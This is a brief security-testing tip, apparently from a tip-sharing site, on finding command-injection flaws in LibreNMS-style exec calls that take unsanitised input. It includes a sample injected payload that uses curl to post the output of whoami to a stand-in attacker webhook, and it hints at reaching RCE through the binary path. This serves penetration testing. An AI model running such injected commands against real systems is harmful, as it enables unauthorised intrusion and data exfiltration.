Test exec calls for command injection
Look for exec calls in the target's code that pass user input directly into the executed command without sanitisation. Test these calls by injecting a command, such as ; curl -X POST -d "$(whoami)" https://attacker.example/webhook;, into affected fields. Confirm the vulnerability by checking if the command is executed when a poller runs a discovery job or by manually running a discovery module. Additionally, check if the binary path used for executables can be modified to achieve RCE.
Follow #command-injection, #librenms or #rce for new tips like this one, on your notifications page and, if you choose, in a daily or weekly email.
Comments
No comments yet.